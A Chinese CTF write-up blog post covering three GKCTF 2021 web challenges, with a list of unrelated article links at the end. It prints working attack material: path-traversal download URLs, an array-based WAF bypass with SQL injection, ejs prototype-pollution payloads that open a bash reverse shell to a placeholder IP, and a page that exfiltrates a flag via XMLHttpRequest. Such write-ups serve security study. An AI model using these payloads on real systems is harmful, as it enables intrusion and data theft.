CTF-NSSCTF[GKCTF 2021]

news2024/12/27 0:07:41

[GKCTF 2021]easycms

考察:

用扫描工具扫描目录,扫描到后台登录界面/admin.php

题目提示了密码是五位弱口令,试了试弱口令admin12345直接成功了

任意文件下载

点击设计-->主题然后随便选择一个主题,点击自定义,有一个导出主题

下载下来的文件右键复制下载链接

http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQveHh4LnppcA==

最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc= 

paylaod:

http://node4.anna.nssctf.cn:28649/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

下载后是个压缩包,将文件扩展名改成.txt或者直接用notepad++打开得到flag

 文件上传
设计——自定义——首页——编辑,选择php源代码

 保存的时候要我先创建一个nhvt.txt文件,这个文件名是每个人不一样的

设计——组件——素材库——上传素材

先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/nhvt

然后回去编辑php代码

返回网站首页得到flag

[GKCTF 2021]easynode

考察:js 弱类型 、ejs 原型链污染

源码:index.js文件

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
 
 
// 过滤username和password中的危险字符
let safeQuery =  async (username,password)=>{
 
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较 
// 
// 
// 这里操作就可以让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中,如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录
    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }
 
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}
 
app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    
 
app.post('/login',function(req,res,next){
 
    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 
 
app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});
 
 
app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        // 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        // 思路: username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,
        // 总的操作就是 login里面POST传username绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shell
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});
 
 
 
app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

大概看一下,最后我们其实就需要达到extend去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,

所以我们就需要让 username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,

回到最上面

这里可以输出token,所以我们只需要登录成功就行,但是它对usernamepassword进行了WAF操作,我们就想进行绕过,核心代码:

let safeQuery =  async (username,password)=>{    // 过滤username和password中的危险字符并进行select查询
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){    // 配合 waf 函数将黑名单里的危险字符依次替换为 *
        if (waf(str[i]) =="*"){
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
    }
    return str;
    }
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,

在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:

获取token的WAF弱比较绕过

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}

 上面说的受害者语句 就用下面的去转base64 

bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"

然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE 

对于java考点题目还是有点懵的

[GKCTF 2021]CheckBot 

考察:

进去源代码处有提示,把uri通过post方式给它

在admin.php处发现flag,但应该要本地访问才行,这题bot会点击我们发过去的链接,那就整个csrf吧

 把下面的代码放在自己的vps上,然后把网址发过去让bot去访问,bot访问后会把flag发到我们监听的端口这,就可以成功获取flag

<html>
        <body>
                <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
                <script>
                        window.onload = function(){
                        /* Prepare flag */
                        let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                        /* Export flag */
                        var exportFlag = new XMLHttpRequest();
                        exportFlag.open('get', 'http://node4.anna.nssctf.cn:28554/flagis-' + window.btoa(flag));
                        exportFlag.send();
                        }
                </script>
        </body>
</html>

后面做法我的操作不行,这道题就pass了

参考资料:[GKCTF 2021]CheckBot-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1951409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++客户端Qt开发——Qt窗口(浮动窗口)

4.浮动窗口 在Qt中&#xff0c;浮动窗口也称之为铆接部件。浮动窗口是通过QDockWidget类来实现浮动的功能。浮动窗口一般是位于核心部件的周围&#xff0c;可以有多个。 设置一个浮动窗口并添加控件 #include "mainwindow.h" #include "ui_mainwindow.h"…

现代Java开发:使用jjwt实现JWT认证

前言 jjwt 库 是一个流行的 Java 库&#xff0c;用于创建和解析 JWT。我在学习spring security 的过程中看到了很多关于jwt的教程&#xff0c;其中最流行的就是使用jjwt实现jwt认证&#xff0c;但是教程之中依然使用的旧版的jjwt库&#xff0c;许多的类与方法已经标记弃用或者…

人工智能GPT技术进步的新时代,你做好准备了吗?

OpenAI 最新发布的 GPT-4o Mini 模型以其卓越的性能和极具竞争力的价格引发了广泛关注。这款模型在提供高级语言理解和生成能力的同时&#xff0c;也在计算资源的消耗和部署成本上做出了显著优化&#xff0c;使得更多开发者能够轻松访问和使用。这篇文章将分析 GPT-4o Mini 在技…

python爬虫【3】—— 爬虫反反爬

一、常见的反爬手段和解决方法 二、splash 介绍与安装 三、验证码识别 图片验证码的处理方案 手动输入(input) 这种方法仅限于登录一次就可持续使用的情况图像识别引擎解析 使用光学识别引擎处理图片中的数据&#xff0c;目前常用于图片数据提取&#xff0c;较少用于验证码…

从零搭建pytorch模型教程(八)实践部分(二)目标检测数据集格式转换

前言 图像目标检测领域有一个非常著名的数据集叫做COCO&#xff0c;基本上现在在目标检测领域发论文&#xff0c;COCO是不可能绕过的Benchmark。因此许多的开源目标检测算法框架都会支持解析COCO数据集格式。通过将其他数据集格式转换成COCO格式可以无痛的使用这些开源框架来训…

【计算机网络】DNS命令练习与抓包分析实验

一&#xff1a;实验目的 1&#xff1a;掌握DNS缓存的清除方法&#xff0c;了解DNS缓存的作用和影响。 2&#xff1a;熟悉nslookup和dig等DNS查询工具的使用&#xff0c;理解DNS查询的基本原理和过程。 3&#xff1a;通过抓包和分析&#xff0c;深入了解DNS查询和响应消息的格…

探索 LLamaWorker 本地大模型API服务的新功能:函数调用

LLamaWorker 是一个基于 LLamaSharp 项目开发的可以在本地运行大模型服务&#xff0c;并提供与 OpenAI / Azure OpenAI 兼容的 API。同时&#xff0c;通过工具提示词的配置&#xff0c;提供函数调用 Function Call 能力&#xff0c;为开发者提供更多的可能。 1. 背景 在人工智…

Robot Operating System——AsyncParametersClient监控Parameters的增删改行为

大纲 同步创建SyncParametersClient设置监控回调回调函数主体测试完整代码 异步创建AsyncParametersClient设置监控回调测试完整代码 在《Robot Operating System——Parameter设置的预处理、校验和成功回调》一文中&#xff0c;我们使用Node::add_post_set_parameters_callbac…

Django项目中报错:django.template.exceptions.TemplateDoesNotExist: index.html

访问127.0.0.1&#xff1a;8000访问出错 查看报错原因 到Django项目当中找到settings.py&#xff0c;找到TEMPLATES中的DIRS: 添加如下代码&#xff0c;并导入OS模块&#xff1a; "DIRS": [os.path.join(BASE_DIR,templates)] 再次访问IP地址&#xff1a;

【JVM基础07】——类加载器-什么是类加载器?类加载器有哪些?双亲委派了解吗?

目录 1- 引言&#xff1a;类加载器1-1 类加载器是什么&#xff1f;(What)1-2 为什么要用类加载器&#xff1f; 作用&#xff1a;类加载的过程&#xff1f;(Why) 2- ⭐核心&#xff1a;类加载器详解(How)2-1 类加载器分类2-2 什么是双亲委派模型&#xff1f;2-3 为什么采用双亲委…

开始尝试从0写一个项目--前端(三)

器材管理板块 添加器材管理导航 src\views\home\Home.vue src\router\index.js src\views\equipment\Equipment.vue <template><div>hello!</div></template> 测试 搜索导航分页查询 src\views\equipment\Equipment.vue <template><div&…

C#、Net6、WebApi报表方案

目录 1 Pdf表单方案 1.1出现如下错误提示: 1.2 字体路径使用 2 Docx报表模板方案 2.1 pdf方案缺陷 2.2 解决方案 3 Spire.Doc报表方案 3.1 Docx方案缺陷 3.2 解决方案 4 插入复选框 5 WebApi文件流下载接口 6 软件获取方式 1 Pdf表单方案 使用【Adobe Acrobat P…

0726,没什么用的SELECT和没用的我

目录 select 可恶&#xff01;&#xff01;&#xff01; 一对多聊天室 select&#xff1a;&#xff08;抄抄抄 最怕人类开始思考 补一对一的 select 喵&#xff1a;&#xff08;抄抄抄 &#xff1f;&#xff1f;今天就这么结束了&#xff1f;&#xff1f;&#xff1f; …

全能Ai助手:写作到设计,宝藏神器帮你事半功倍

今天&#xff0c;就让我们一起踏上这场寻找“隐藏”宝藏的旅程&#xff0c;探索这些AI工具如何改变我们的生活&#xff01; 一、高效生产力的提升之道 1. 文案创作助手 案例&#xff1a;某位自媒体博主使用了一款智能写作工具&#xff0c;不仅大大节省了写作时间&#xff0c;…

JMeter接口测试:测试中奖概率!

介绍 Apache JMeter 是 Apache 组织基于 Java 开发的压力测试工具&#xff0c;用于对软件做压力测试。JMeter 最初被设计用于 Web 应用测试&#xff0c;但后来扩展到了其他测试领域&#xff0c;可用于测试静态和动态资源&#xff0c;如静态文件、Java 小服务程序、CGI 脚本、J…

c语言第四天笔记

关于 混合操作&#xff0c;不同计算结果推理 第一种编译结果&#xff1a; int i 5; int sum (i) (i) 6 7 13 第二种编译结果&#xff1a; int i 5; int sum (i) (i) 6 7 7 7 前面的7是因为后面i的变化被影响后&#xff0c;重新赋值 14 第一种编译结果&#xff…

Llama + Dify,在你的电脑搭建一套AI工作流

theme: smartblue 点赞 关注 收藏 学会了 本文简介 最近字节在推Coze&#xff0c;你可以在这个平台制作知识库、制作工作流&#xff0c;生成一个具有特定领域知识的智能体。 那么&#xff0c;有没有可能在本地也部署一套这个东西呢&#xff1f;这样敏感数据就不会泄露了&…

Redis的两种持久化方式---RDB、AOF

rdb其实就是一种快照持久化的方式&#xff0c;它会将Redis在某个时间点的所有的数据状态以二进制的方式保存到硬盘上的文件当中&#xff0c;它相对于aof文件会小很多&#xff0c;因为知识某个时间点的数据&#xff0c;当然&#xff0c;这就会导致它的实时性不够高&#xff0c;如…

Scrapy 爬取旅游景点相关数据(三)

这一节我们将之前爬取到的景点数据进行解析&#xff0c;并且保存为excel&#xff0c;便于后续使用&#xff0c;本节包含 &#xff08;1&#xff09; 景点数据解析 &#xff08;2&#xff09;数据保存到excel 1 编写爬虫 这次继续改进第二节的爬虫&#xff0c;新建一个爬虫文…

C#如何引用dll动态链接库文件的注释

1、dll动态库文件项目生成属性中要勾选“XML文档文件” 注意&#xff1a;XML文件的名字切勿修改。 2、添加引用时XML文件要与DLL文件在同一个目录下。 3、如果要是添加引用的时候XML不在相同目录下&#xff0c;之后又将XML文件复制到相同的目录下&#xff0c;需要删除引用&am…